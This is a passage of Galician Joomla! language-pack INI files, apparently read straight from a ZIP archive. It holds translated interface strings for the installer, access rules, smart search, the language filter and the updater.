JLIB_INSTALLER_ERROR_PLG_DISCOVER_STORE_DETAILS="Instalar engadido por descubrimento: fallou ao almacenar os detalles do engadido" JLIB_INSTALLER_ERROR_PLG_REFRESH_MANIFEST_CACHE="Actualizar a caché do manifesto do engadido: fallou ao almacenar os detalles do engadido" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar engadido: extensión descoñecida" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_FOLDER_FIELD_EMPTY="Desinstalar engadido: campo do cartafol baleiro, non é posíbel eliminar os ficheiros" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_MANIFEST="Desinstalar engadido: ficheiro de manifesto non válido" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar engadido: ficheiro de manifesto non válido ou non atopado." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_LOAD_MANIFEST="Desinstalar engadido: non foi posíbel cargar o ficheiro de manifesto" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_WARNCOREPLUGIN="Desinstalar engadido: tratando de desinstalar un engadido do núcleo: %s" JLIB_INSTALLER_ERROR_SQL_ERROR="JInstaller: :Instalar: erro SQL %s" JLIB_INSTALLER_ERROR_SQL_FILENOTFOUND="JInstaller: :Instalar: non atopado o ficheiro SQL %s" JLIB_INSTALLER_ERROR_SQL_READBUFFER="JInstaller: :Instalar: erro de lectura do búfer do ficheiro SQL" JLIB_INSTALLER_ERROR_TPL_DISCOVER_STORE_DETAILS="Instalar tema por descubrimento: fallou ao almacenar os detalles do tema" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar tema: extensión descoñecida" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_CLIENT="Desinstalar tema: cliente non válido." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar tema: ficheiro de manifesto non válido ou non atopado." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DEFAULT="Desinstalar tema: non é posíbel eliminar o tema predeterminado." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DIRECTORY="Desinstalar tema: o cartafol non existe, non é posíbel eliminar os ficheiros" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_ID_EMPTY="Desinstalar tema: o ID do tema está baleiro, non é posíbel desinstalar os ficheiros" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_WARNCORETEMPLATE="Desinstalar tema: tentando desinstalar un tema do núcleo: %s" JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="[Tipo de cliente descoñecido [%s]" JLIB_INSTALLER_INSTALL="Instalar" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS="Idioma definido como predeterminado para %d usuarios" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS_1="Idioma definido como predeterminado para %d usuario" JLIB_INSTALLER_UNINSTALL="Desinstalar" JLIB_INSTALLER_UPDATE="Actualizar" JLIB_INSTALLER_ERROR_EXTENSION_INVALID_CLIENT_IDENTIFIER="O identificador de cliente especificado non é válido no manifesto da extensión." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_UNKNOWN_EXTENSION="Tentando desinstalar extensión descoñecida do paquete. Esta extensión pode que xa fose eliminada anteriormente." JLIB_MAIL_FUNCTION_DISABLED="A función mail() foi desactivada e correo non pode ser enviado." JLIB_MAIL_INVALID_EMAIL_SENDER="JMail: : Remitente de correo non válido: %s, JMail: :setSender(%s)" JLIB_PLUGIN_ERROR_LOADING_PLUGINS="Erro ao cargar engadidos: %s" JLIB_REGISTRY_EXCEPTION_LOAD_FORMAT_CLASS="Non foi posíbel cargar a clase de formato" JLIB_RULES_ACTION="Acción" JLIB_RULES_ALLOWED="Permitido" JLIB_RULES_ALLOWED_ADMIN="Permitido (Super Admin)" JLIB_RULES_CALCULATED_SETTING="Regra calculada 2" JLIB_RULES_CONFLICT="Conflict" JLIB_RULES_DENIED="Denegado" JLIB_RULES_GROUP="%s" JLIB_RULES_GROUPS="Grupos" JLIB_RULES_INHERIT="Herdar" JLIB_RULES_INHERITED="Herdado" JLIB_RULES_NOT_ALLOWED="Non permitido" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Conflict" JLIB_RULES_NOT_ALLOWED_LOCKED="Non permitido (bloqueado)" JLIB_RULES_NOT_SET="Sen estabelecer" JLIB_RULES_SELECT_ALLOW_DENY_GROUP="Permitir ou denegar %s para os usuarios no grupo %s" JLIB_RULES_SELECT_SETTING="Escoller nova regra 1" JLIB_RULES_SETTING_NOTES="1. A modificación das opcións serán aplicadas a este e todos os grupos fillos, compoñentes e contido. Note que denegado sobrescribirá calquera opción herdada así como calquera configuración estabelecida desde calquera grupo fillo, compoñente ou contido. No caso de producirse conflitos coa configuración, denegar terá prioridade. Non estabelecer é equivalente a denegado pero pode ser mudado en grupos fillos, compoñentes e contido.
              2. Se realiza algún cambio na configuración, prema gardar parra actualizar as opcións calculadas." JLIB_RULES_SETTING_NOTES_ITEM="1. A modificación desta opción, aplicarase a este elemento. Note que:
              Herdado significa que serán usados os permisos da configuración global, do grupo pai e da categoría.
              Denegado significa que non terá en conta a configuración global, do grupo pai ou categoría, é dicir, o grupo que está a modificar non tomará esta acción neste elemento.
              Permitido significa que o grupo que está a modificar permitirá realizar esta acción a este elemento (pero se esta estivese en conflito coa configuración global, grupo pai ou categoría, non se terá en conta e o conflito será indicado por Non permitido (bloqueado) embaixo do estado da configuración calculada).
              2. Se realiza algún cambio na configuración, prema gardar parra actualizar as opcións calculadas." JLIB_RULES_SETTINGS_DESC="Xestionar os permisos das opcións para os grupos de usuarios (ver notas no de embaixo)." JLIB_UNKNOWN="Descoñecido" JLIB_UPDATER_ERROR_COLLECTION_FOPEN="A opción PHP 'allow_url_fopen' está desactivada. Esta opción ten ha de ser activada para que o actualizador traballe." JLIB_UPDATER_ERROR_COLLECTION_OPEN_URL="Update: :Collection: non foi posíbel abrir %s" JLIB_UPDATER_ERROR_COLLECTION_PARSE_URL="Update: :Collection: non foi posíbel filtrar %s" JLIB_UPDATER_ERROR_EXTENSION_OPEN_URL="Update: :Extension: non foi posíbel abrir %s" JLIB_UPDATER_ERROR_EXTENSION_PARSE_URL="Update: :Estension: non foi posíbel filtrar %s" JLIB_USER_ERROR_AUTHENTICATION_FAILED_LOAD_PLUGIN="JAuthentication: :authenticate: non foi posíbel cargar o engadido: %s" JLIB_USER_ERROR_AUTHENTICATION_LIBRARIES="JAuthentication: :__construct : non foi posíbel cargar as bibliotecas de autenticación." JLIB_USER_ERROR_BIND_ARRAY="Non é posíbel vincular a matriz do obxecto de usuario" JLIB_USER_ERROR_CANNOT_DEMOTE_SELF="Non pode eliminar os seus propios permisos de Súper Administrador." JLIB_USER_ERROR_ID_NOT_EXISTS="JUser: :_load: o usuario %s non existe" JLIB_USER_ERROR_NOT_SUPERADMIN="So os usuarios con permisos de Súper Administrador pode mudar as contas de outros usuarios con permiso de Súper Administrador." JLIB_USER_ERROR_PASSWORD_NOT_MATCH="A clave non coincide. Insíraa novamente." JLIB_USER_ERROR_UNABLE_TO_FIND_USER="Non foi posíbel atopar un usuario con esa cadea de activación" JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: non foi posíbel cargar o usuario do ID: %s" JLIB_USER_EXCEPTION_ACCESS_USERGROUP_INVALID="Non existe ese grupo de usuarios" JLIB_UTIL_ERROR_APP_INSTANTIATION="Erro de instanciación da aplicación" JLIB_UTIL_ERROR_CONNECT_DATABASE="JDatabase: :getInstance: non foi posíbel conectar coa base de datos
              joomla.library: %1$s - %2$s" JLIB_UTIL_ERROR_DOMIT="DommitDocument está obsoleto. No canto diso, use DomDocument." JLIB_UTIL_ERROR_LOADING_FEED_DATA="Erro ao cargar os datos da semente" JLIB_UTIL_ERROR_XML_LOAD="Fallo ao cargar o ficheiro XML" PK@y>\FJ;;(language/gl-ES/gl-ES.com_checkin.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Trabar" COM_CHECKIN_XML_DESCRIPTION="Comprobación do compoñente" PK@y>\Y'language/gl-ES/gl-ES.plg_system_log.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Fornece o rexistro de usuarios no sistema" PLG_SYSTEM_LOG="Sistema - Rexistro" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC="Esta opción rexistra os nomes de usuario cando unha autenticación fallou" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL="Rexistrar nomes de usuario" PK@y>\`Dxx-language/gl-ES/gl-ES.com_joomlaupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_JOOMLAUPDATE="Actualización Joomla!" COM_JOOMLAUPDATE_XML_DESCRIPTION="Actualización directa para a versión de Joomla! máis recente" PK@y>\d?%language/gl-ES/gl-ES.mod_menu.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Menú da administración" MOD_MENU_XML_DESCRIPTION="Este modulo amosa o menú principal de navegación da administración" MOD_MENU_LAYOUT_DEFAULT="Predeterminado" PK@y>\+{P==#language/gl-ES/gl-ES.com_finder.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Busca intelixente" COM_FINDER_AN_ERROR_HAS_OCCURRED="Aconteceu un erro" COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_DESCRIPTION="Só se escolleu un filtro, está permitida unha cadea de busca baleira para iniciar unha busca sen restrición do filtro." COM_FINDER_CONFIG_ALLOW_EMPTY_QUERY_LABEL="Permitir busca baleira" COM_FINDER_CONFIG_BATCH_SIZE_DESCRIPTION="O tamaño do lote controla cantos elementos son procesados por lotes. Os lotes grandes requiren moita memoria mentres que tamaños máis pequenos requiren menos memoria pero requiren máis solicitudes o que tende a levar máis tempo." COM_FINDER_CONFIG_BATCH_SIZE_LABEL="Tamaño de lote indexado" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESCRIPTION="O texto de descrición para os resultados da busca será truncado para o cumprimento de caracteres especificado." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Lonxitude da descrición" COM_FINDER_CONFIG_ENABLE_LOGGING_DESCRIPTION="Activa esta opción para crear un ficheiro de rexistro no cartafol de ficheiros de rexistro do teu sitio durante o proceso de indexado. Este ficheiro é útil para a resolución de problemas co proceso de indexación. Recoméndase que o rexistro estea activado só cando sexa preciso." COM_FINDER_CONFIG_ENABLE_LOGGING_LABEL="Activar o rexistro" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESCRIPTION="Alterne se as opcións de busca avanzada deberían ser expandidas de xeito predeterminado." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expandir as opcións de busca avanzada" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="Nome OpenSearch" COM_FINDER_CONFIG_FIELD_OPENSEARCH_NAME_DESCRIPTION="Nome que amosará o sitio como provedor de buscas." COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL="Descrición OpenSeach" COM_FINDER_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESCRIPTION="Descrición que amosará o sitio como provedor de buscas." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_DESCRIPTION="Alterne se os termos de busca deberían ser realzados nos resultados da busca." COM_FINDER_CONFIG_HILIGHT_CONTENT_SEARCH_TERMS_LABEL="Realzar termos da busca" COM_FINDER_CONFIG_IMPORT_EXPORT="Importar/Exportar" COM_FINDER_CONFIG_IMPORT_EXPORT_HELP="Axuda" COM_FINDER_CONFIG_IMPORT_EXPORT_INSTRUCTIONS="Para exportar as súas opcións de configuración, prema no botón Exportar na barra de ferramentas de enriba.

              Para importar unha configuración existente, prema no botón de navegación para seleccionar un ficheiro do seu disco duro ou copie/pegue os datos dentro da caixa de texto de embaixo e logo prema o botón Importar da barra de enriba." COM_FINDER_CONFIG_IMPORT_FROM_FILE="Importar do ficheiro:" COM_FINDER_CONFIG_IMPORT_FROM_STRING="Importar do texto:" COM_FINDER_CONFIG_IMPORT_TOOLBAR_TITLE="Busca intelixente: configuración de Importar/Exportar" COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_DESCRIPTION="O límite de memoria da táboa non debería ser alterado a menos que estea a recibir erros indicando que as táboas finder_tokens ou finder_tokens_aggregate están cheas. O predeterminado é 30.000." COM_FINDER_CONFIG_MEMORY_TABLE_LIMIT_LABEL="Límite de memoria da táboa" COM_FINDER_CONFIG_META_MULTIPLIER_DESCRIPTION="O multiplicador é usado para controlar canta influencia no texto correspondente ten sobre a puntuación de relevancia global dun resultado de busca. Un multiplicador considerase en relación a outros multiplicadores. Os meta-datos veñen dados por varias fontes, entre as que se inclúen as meta-palabras-chave, a meta-descrición, nomes de autor, etc." COM_FINDER_CONFIG_META_MULTIPLIER_LABEL="Peso do multiplicador de meta-datos" COM_FINDER_CONFIG_MISC_MULTIPLIER_DESCRIPTION="O multiplicador é usado para controlar canta influencia no texto correspondente ten sobre a puntuación de relevancia global dun resultado de busca. Un multiplicador considerase en relación a outros multiplicadores. O diverso texto proven de varias fontes, entre as que se inclúen comentarios e outros datos asociados." COM_FINDER_CONFIG_MISC_MULTIPLIER_LABEL="Peso do diverso texto do multiplicador" COM_FINDER_CONFIG_PATH_MULTIPLIER_DESCRIPTION="O multiplicador é usado para controlar canta influencia no texto correspondente ten sobre a puntuación de relevancia global dun resultado de busca. Un multiplicador considerase en relación a outros multiplicadores.O texto da ruta ven dado polo URL SEF do contido." COM_FINDER_CONFIG_PATH_MULTIPLIER_LABEL="Influencia do texto da ruta do multiplicador" COM_FINDER_CONFIG_SORT_DIRECTION_DESC="Dirección na que ordenar os resultados da busca." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Dirección de ordenación" COM_FINDER_CONFIG_SORT_ORDER_DESC="Campo polo que ordenar os resultados da busca." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Campo de ordenación" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascendente" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descendente" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="Lista de prezos" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevancia" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Data" COM_FINDER_CONFIG_SHOW_ADVANCED_DESCRIPTION="Definir se os usuarios deberían poder ver as opcións de busca avanzada." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Busca avanzada" COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_DESCRIPTION="Definir se os usuarios deberían poder ver as suxestións de busca avanzada." COM_FINDER_CONFIG_SHOW_ADVANCED_TIPS_LABEL="Suxestións avanzadas" COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_DESCRIPTION="Definir se as suxestións de busca automática deberían ser amosados." COM_FINDER_CONFIG_SHOW_AUTOSUGGEST_LABEL="Suxestións de busca" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESCRIPTION="Amosar os filtros de data de comezo e fin na busca avanzada." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Filtros de data" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESCRIPTION="Definir se a descrición debería amosarse cos resultados de de busca." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Descrición do resultado" COM_FINDER_CONFIG_SHOW_URL_DESCRIPTION="Amosar o URL asociado ao elemento." COM_FINDER_CONFIG_SHOW_URL_LABEL="URL do resultado" COM_FINDER_CONFIG_STEMMER_DESCRIPTION="O lematizador de idioma a usar. Escolla bola de neve se non está dispoñíbel un lematizador para o seu idioma ou ten contido multiidioma." COM_FINDER_CONFIG_STEMMER_ENABLE_DESCRIPTION="Activar lematizador de idioma se está dispoñíbel." COM_FINDER_CONFIG_STEMMER_ENABLE_LABEL="Activar lematizador" COM_FINDER_CONFIG_STEMMER_LABEL="Lematizador" COM_FINDER_CONFIG_STEMMER_PORTER_EN="Só inglés" COM_FINDER_CONFIG_STEMMER_SNOWBALL="Bola de neve" COM_FINDER_CONFIG_TEXT_MULTIPLIER_DESCRIPTION="O lematizador úsase para controlar canta influencia teñen as coincidencias de texto sobre a puntuación de relevancia global de un resultado na busca. Un multiplicador é considerado en relación cos outros multiplicadores. O texto do corpo ven do resumo e/ou corpo do contido." COM_FINDER_CONFIG_TEXT_MULTIPLIER_LABEL="Influencia do texto do corpo no multiplicador" COM_FINDER_CONFIG_TITLE_MULTIPLIER_DESCRIPTION="O lematizador úsase para controlar canta influencia teñen as coincidencias de texto sobre a puntuación de relevancia global de un resultado na busca. Un multiplicador é considerado en relación cos outros multiplicadores. O texto do título ven dado desde o título do contido." COM_FINDER_CONFIG_TITLE_MULTIPLIER_LABEL="Influencia do texto do título no multiplicador" COM_FINDER_CONFIGURATION="Busca intelixente: Configuración" COM_FINDER_CREATE_FILTER="Crear un filtro." COM_FINDER_EDIT_FILTER="Modificar un filtro" COM_FINDER_EXPORT="Exportar" COM_FINDER_FIELD_CREATED_BY_LABEL="Creado por" COM_FINDER_FIELD_CREATED_BY_DESC="Autor do filtro" COM_FINDER_FIELD_CREATED_BY_ALIAS_LABEL="Alcume" COM_FINDER_FIELD_CREATED_BY_ALIAS_DESC="Nome amosado do creador do título" COM_FINDER_FIELD_MODIFIED_DESCRIPTION="A data e hora na que se modificou o filtro por ultima vez." COM_FINDER_FIELDSET_INDEX_OPTIONS_DESCRIPTION="Opcións de indexación" COM_FINDER_FIELDSET_INDEX_OPTIONS_LABEL="Index" COM_FINDER_FIELDSET_SEARCH_OPTIONS_DESCRIPTION="Opcións de busca" COM_FINDER_FIELDSET_SEARCH_OPTIONS_LABEL="Buscar" COM_FINDER_FILTER_BRANCH_LABEL="Resultados por %s" COM_FINDER_FILTER_BY="Amosar %s:" COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE="Busca intelixente: modificar o filtro da busca" COM_FINDER_FILTER_END_DATE_LABEL="Data de fin" COM_FINDER_FILTER_END_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_FIELDSET_DETAILS="Detalle do filtro" COM_FINDER_FILTER_FIELDSET_PARAMS="Cronograma do filtro" COM_FINDER_FILTER_MAP_COUNT="Conta de mapas" COM_FINDER_FILTER_MAP_COUNT_DESCRIPTION="Número de mapas incluídos no filtro." COM_FINDER_FILTER_SEARCH_DESCRIPTION="Filtrar a lista por título." COM_FINDER_FILTER_SELECT_ALL_LABEL="Buscar todo" COM_FINDER_FILTER_START_DATE_LABEL="Data de inicio" COM_FINDER_FILTER_START_DATE_DESCRIPTION="Format YYYY-MM-DD" COM_FINDER_FILTER_TIMESTAMP="Creado o" COM_FINDER_FILTER_TITLE_DESCRIPTION="O título do filtro." COM_FINDER_FILTER_WHEN_AFTER="Despois" COM_FINDER_FILTER_WHEN_BEFORE="Antes" COM_FINDER_FILTER_WHEN_END_DATE_LABEL="Cando (data de fin)" COM_FINDER_FILTER_WHEN_END_DATE_DESCRIPTION="O período de tempo relativo á data de fin entre o que se ten que buscar (antes, despois ou exactamente)" COM_FINDER_FILTER_WHEN_EXACTLY="Exactamente" COM_FINDER_FILTER_WHEN_START_DATE_LABEL="Cando (data de comezo)" COM_FINDER_FILTER_WHEN_START_DATE_DESCRIPTION="O período de tempo relativo á data de comezo entre o que se ten que buscar (antes, despois ou exactamente)" COM_FINDER_FILTERS="Filtros" COM_FINDER_FILTERS_DELETE_CONFIRMATION="Está seguro de que quere borrar o(s) filtro(s) seleccionado(s)?" COM_FINDER_FILTERS_TOOLBAR_TITLE="Busca intelixente: xestionar os filtros de busca" COM_FINDER_GO="Ir" COM_FINDER_IMPORT="Importar" COM_FINDER_INDEX="Index" COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT="Está seguro de que quere borrar o(s) elemento(s) seleccionado(s)?" COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT="Está seguro de que quere borrar TODOS os elementos do índice? Isto pode levar moito tempo en sitios grandes." COM_FINDER_INDEX_DATE_INFO="Información dos datos da ligazón::Comezo da publicación: %s
              Fin da publicación: %s
              Comezo do contido: %s
              Fin do contido: %s" COM_FINDER_INDEX_FILTER_BY_STATE="Calquera estado de publicación" COM_FINDER_INDEX_HEADING_INDEX_DATE="Última actualización" COM_FINDER_INDEX_HEADING_INDEX_TYPE="Tipo" COM_FINDER_INDEX_HEADING_LINK_URL="URL non procesado" COM_FINDER_INDEX_NO_CONTENT="Ningún contido coincide co criterio de busca." COM_FINDER_INDEX_NO_DATA="Ningún contido foi indexado." COM_FINDER_INDEX_PLUGIN_CONTENT_NOT_ENABLED="O engadido de busca intelixente non está activado. Os cambios no contido non actualizarán o índice de busca intelixente se nin activa este engadido." COM_FINDER_INDEX_PURGE_SUCCESS="Todos os elementos foron purgados con éxito." COM_FINDER_INDEX_TIP="Comezar o indexador premendo o botón 'Indexar' da barra de ferramentas." COM_FINDER_INDEX_TOOLBAR_PURGE="Purgar" COM_FINDER_INDEX_TOOLBAR_TITLE="Busca intelixente: xestionar o contido indexado" COM_FINDER_INDEX_TYPE_FILTER="Calquera tipo de contido" COM_FINDER_INDEXER_HEADER_COMPLETE="Indexación completa" COM_FINDER_INDEXER_HEADER_ERROR="An Error Has Occurred" COM_FINDER_INDEXER_HEADER_INIT="Iniciando o indexador" COM_FINDER_INDEXER_HEADER_OPTIMIZE="Optimizar a indexación" COM_FINDER_INDEXER_HEADER_RUNNING="Indexación en curso..." COM_FINDER_INDEXER_INVALID_PARSER="Tipo de analizador non válido %s " COM_FINDER_INDEXER_INVALID_STEMMER="Tipo de lematizador non válido %s" COM_FINDER_INDEXER_MESSAGE_COMPLETE="O proceso de indexación rematou. Agora é seguro pechar esta xanela. " COM_FINDER_INDEXER_MESSAGE_INIT="A indexación está a ser inicializado. Non peche esta xanela." COM_FINDER_INDEXER_MESSAGE_OPTIMIZE="A optimización da indexación de táboas está en curso para o mellor desempeño posíbel. Non peche esta xanela." COM_FINDER_INDEXER_MESSAGE_RUNNING="O contido está a ser indexado. Non peche esta xanela." COM_FINDER_ITEM_X_ONLY="Só %s" COM_FINDER_ITEMS="Contido" COM_FINDER_MAP_PUBLISH_FAILED="Non foi posíbel publicar o mapeos seleccionados. A mensaxe de erro devolta é: %s." COM_FINDER_MAP_PUBLISH_SUCCESS="Publicáronse con éxito os mapeos seleccionados." COM_FINDER_MAP_UNPUBLISH_FAILED="Non foi posíbel despublicar o mapeos seleccionados. A mensaxe de erro devolta é: %s." COM_FINDER_MAP_UNPUBLISH_SUCCESS="Despublicáronse con éxito os mapeos seleccionados." COM_FINDER_MAPS="Mapeos" COM_FINDER_MAPS_BRANCH_LINK="Premer para amosar os fillos desta rama." COM_FINDER_MAPS_BRANCHES="Só ramas" COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT="Está seguro de que quere eliminar os mapeos seleccionados?" COM_FINDER_MAPS_MULTILANG="Nota: O sistema de filtro de idioma está activado, así que esta rama non vai a ser usada." COM_FINDER_MAPS_NO_CONTENT="Ningún resultado que amosar. Ningún contido foi indexado ou ningún contido coincide co seu criterio de busca." COM_FINDER_MAPS_RETURN_TO_BRANCHES="Retornar ás ramas" COM_FINDER_MAPS_TOOLBAR_TITLE="Busca intelixente: xestionar mapeos de contido" COM_FINDER_MESSAGE_RETURNED="A seguinte mensaxe foi devolvida polo servidor:" COM_FINDER_N_ITEMS_CHECKED_IN_0="Ningún elemento foi trabado con éxito" COM_FINDER_N_ITEMS_CHECKED_IN_1="%d elemento trabado con éxito" COM_FINDER_N_ITEMS_CHECKED_IN_MORE="%d elementos trabados con éxito" COM_FINDER_N_ITEMS_DELETED="%d elementos eliminados con éxito" COM_FINDER_N_ITEMS_DELETED_1="%d elemento eliminado con éxito" COM_FINDER_N_ITEMS_PUBLISHED="%d elementos publicados con éxito" COM_FINDER_N_ITEMS_PUBLISHED_1="%d elemento publicado con éxito" COM_FINDER_N_ITEMS_TRASHED="%d elementos enviados ao lixo con éxito" COM_FINDER_N_ITEMS_TRASHED_1="%d elemento enviado ao lixo con éxito" COM_FINDER_N_ITEMS_UNPUBLISHED="%d elementos despublicados con éxito" COM_FINDER_N_ITEMS_UNPUBLISHED_1="%d elemento despublicado con éxito" COM_FINDER_NO_ERROR_RETURNED="Ningún erro foi retornado. Asegúrese de que o informe de erros está activo." COM_FINDER_NO_FILTERS="Aínda non se crearon filtros." COM_FINDER_NO_RESULTS="Non hai resultados que coincidan co criterio de busca." COM_FINDER_QUERY_FILTER_TODAY="Hoxe" COM_FINDER_QUERY_OPERATOR_AND="E" COM_FINDER_QUERY_OPERATOR_NOT="Non" COM_FINDER_QUERY_OPERATOR_OR="Ou" COM_FINDER_SEARCH_LABEL="Buscar %s:" COM_FINDER_STATISTICS="Estatísticas" COM_FINDER_STATISTICS_LINK_TYPE_COUNT="Conta" COM_FINDER_STATISTICS_LINK_TYPE_HEADING="Tipo de ligazón" COM_FINDER_STATISTICS_LINK_TYPE_TOTAL="Total" COM_FINDER_STATISTICS_STATS_DESCRIPTION="O contido indexado neste sitio inclúe %s termos a traveso de %s ligazóns con %s atributos en %s ramas." COM_FINDER_STATISTICS_TITLE="Estatísticas da busca intelixente" COM_FINDER_SUBMENU_FILTERS="Filtros de busca" COM_FINDER_SUBMENU_INDEX="Contido indexado" COM_FINDER_SUBMENU_MAPS="Mapeo de contido" COM_FINDER_UPDATER_MESSAGE_COMPLETE="A busca intelixente está ao día." COM_FINDER_UPDATER_MESSAGE_OPTIMIZE="A busca intelixente está optimizándose." COM_FINDER_UPDATER_MESSAGE_PROCESS="A busca intelixente está actualizándose." COM_FINDER_XML_DESCRIPTION="Busca intelixente." PK@y>\wl*DD2language/gl-ES/gl-ES.plg_system_languagefilter.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="Sistema - Filtro de idioma" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="Este engadido filtra o contido amosado dependendo do idioma.
              Este engadido debe ser activado só cando o módulo selector de idioma está publicado.
              Se este engadido está activado, é aconsellable activar o módulo de administración 'Estado de multiidioma'." PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC="Esta opción mudará automaticamente o idioma do contido na portada cando se cambia o idioma do usuario do sito" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL="Cambio automático do idioma" PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC="Escolla o idioma do sitio predeterminado ou tente detectar o idioma das opcións do navegador. Amosarase o idioma predeterminado do sitio se non atopa o idioma do navegador." PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL="Selector de idioma para novos visitantes." PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS="Opcións do navegador" PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE="Idioma do sitio" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_DESC="Esta opción permite asociacións de menú cando se cambia dun idioma ao outro" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_LABEL="Asociacións de menú" PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC="Elimina o código de idioma do URL do idioma de contido correspondente ao idioma predeterminado do sitio cando os URL amigábeis estean activados." PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL="Eliminar o código de idioma do URL" PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC="Engadir meta-etiquetas alternativas para elementos de menú con elementos de menú asociados a outros idiomas. " PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL="Engadir meta-etiquetas alternativas" PK@y>\6 6 )language/gl-ES/gl-ES.com_joomlaupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_DESC="Este é un URL do ficheiro XML personalizado, que só se emprega cando a opción \"_QQ_\"Actualizar fonte\"_QQ_\" está establelicida como \"_QQ_\"URL personalizado\"_QQ_\"." COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL="Custom URL" COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC="Configurar de onde o Joomla! obterá a información de actualización" COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL="Fonte da actualización" 